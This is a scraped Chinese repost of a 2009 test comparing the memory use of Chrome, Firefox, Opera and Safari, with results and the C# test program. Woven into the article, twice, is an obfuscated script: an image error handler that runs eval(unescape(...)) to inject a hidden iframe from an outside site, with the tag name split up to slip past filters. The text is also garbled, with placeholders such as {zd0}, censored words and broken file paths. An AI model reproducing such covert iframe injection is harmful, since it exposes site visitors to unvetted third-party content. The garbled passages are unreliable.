四大浏览器内存占用xx测试Firefox大胜(图) - CreditCard - fancifuls ...
四大浏览器内存占用xx测试 Firefox大胜(图) [转贴 2010-04-20 13:41:17]   
四大浏览器内存占用xx测试 Firefox大胜(图)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

昨天我们对Chrome、Firefox、IE、Opera、Safari五款流行浏览器的速度进行了全面对比测试,今天我们再来看看另一个非常实际的问题:内存占用。

本次测试的主角是Google Chrome 3.0开发版Mozilla Firefox 3.5 Beta 4测试版Safari 4.0正式版Opera 10.00 Beta测试版,而IE8因为测试方法的原因没有加入。测试环境是Windows Vista Home Premium 32-bit操作系统4GB内存、Visual Studio、.NET Framework 3.5 SP1等。

平常衡量应用程序内存占用率都是查看任务管理器,不过那样显然太不xx,为此dotnetperls.com用C#自行编写了一个小程序,在命令行下模拟浏览(截至2009年6月19日)。

在测试过程中,每个浏览器都根据命令行通过新标签打开新网站,且之前的标签保持可访问状态,直到打开三十个网站后再关闭所有标签页,只保留一个空白的,接下来重复以上过程。这样能基本模拟大部分用户的实际体验。由于IE8总是每次都打开新窗口而非新标签,一时找不到解决方法,所以没有参加测试。

自行编写的内存占用查看工具会每隔三秒钟记录一次实时结果。像Google Chrome这种每个标签页一个进程的,则统计所有同名进程的总内存占用量。测试总耗时1152秒(19.2分钟),共有384个记录点。

测试结果如下——

峰值内存占用:

Chrome:1216.16MB ({zd0})
Firefox:327.65MB (最小)
Opera:554.11MB
Safari:517.00MB

平均内存占用:

Chrome:543.83MB ({zd0})
Firefox:166.82MB (最小)
Opera:347.45MB
Safari:319.44MB

最终内存占用:

Chrome:109.49MB
Firefox:106.66MB (最小)
Opera:441.49MB ({zd0})
Safari:349.62MB

有图有真相——

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt=四大浏览器内存占用xx测试 src="http://news.mydrivers.com/img/20090622/02590303.png" twffan="done">

测试总结:

尽管Firefox在1.0/2.0时代的内存管理做得不算好,但3.5{zx1}测试版却是各浏览器中最出色的,峰值、平均和最终结果都是{zd1}的,内存管理和释放效率都相当高,是本次测试当之无愧的胜者。

Chrome因为运行机制(每个标签对应一个进程)的原因比较特殊,打开大量标签后内存占用量急剧飙升,{zg}超过1.2GB,是Firefox的将近四倍、Opera和Safari的两倍左右,不过内存释放效率也很不错,所占内存在关闭标签后几乎全部释放,和Firefox差不多,测试完成后都只占100MB多点。

Safari和Opera的表现差不多,而前者稍好一些,特别是在测试后期内存占用量更低一些。测试结束后Safari还占着350MB内存,而Opera高达440MB,是所有参测浏览器中{zg}的,可能是还处于早期测试阶段的原因。


附测试程序源代码:

~~~ Console program that uses Process.Start (C#) ~~~

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Threading;

class Program
{
/// <summary>
/// Number of points to close stuff.
/// </summary>
const int _interrupt = 30;

/// <summary>
/// Browsers urls are sent to.
/// </summary>
static string[] _browsers =
{
@"C:Program FilesMozilla Firefox 3.5 Beta 4firefox.exe",
@"C:Program FilesSafariSafari.exe",
FilesInternet Exploreriexplore.exe",
@"C:Program FilesOpera 10 Previewopera.exe",
@"C:UsersSamAppDataLocalGoogleChromeApplicationchrome.exe"
};

static void Main()
{
var r = new Random();
var ct = 1;
foreach (var url in GetUrls())
{
if ((ct % 30) == 0) // Notify
{
Console.BackgroundColor = ConsoleColor.DarkRed;
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine("Close all tabs but one in all browsers then press enter.");
Console.ResetColor();
Console.ReadLine();
}
foreach (var b in _browsers) // Loop through browsers
{
try
{
var info = new ProcessStartInfo(b, url);
Process.Start(info); // Start url in this browser
Thread.Sleep(r.Next(100, 1000)); // Sleep 100 ms - 1 s
}
catch
{
}
}
Thread.Sleep(r.Next(2000, 5000)); // Sleep 2 - 5 seconds.
ct++;
}
}

/// <summary>
/// Get list of top 2000 urls.
/// </summary>
static IEnumerable<string> GetUrls()
{
return File.ReadAllLines("top.txt").Where(item => item != null &&
item.Length > 1 &&
item[0] != '#').Select(item => "http://" + item);
}
}



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【四大浏览器内存占用xx测试Firefox大胜(图) - CreditCard - fancifuls ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——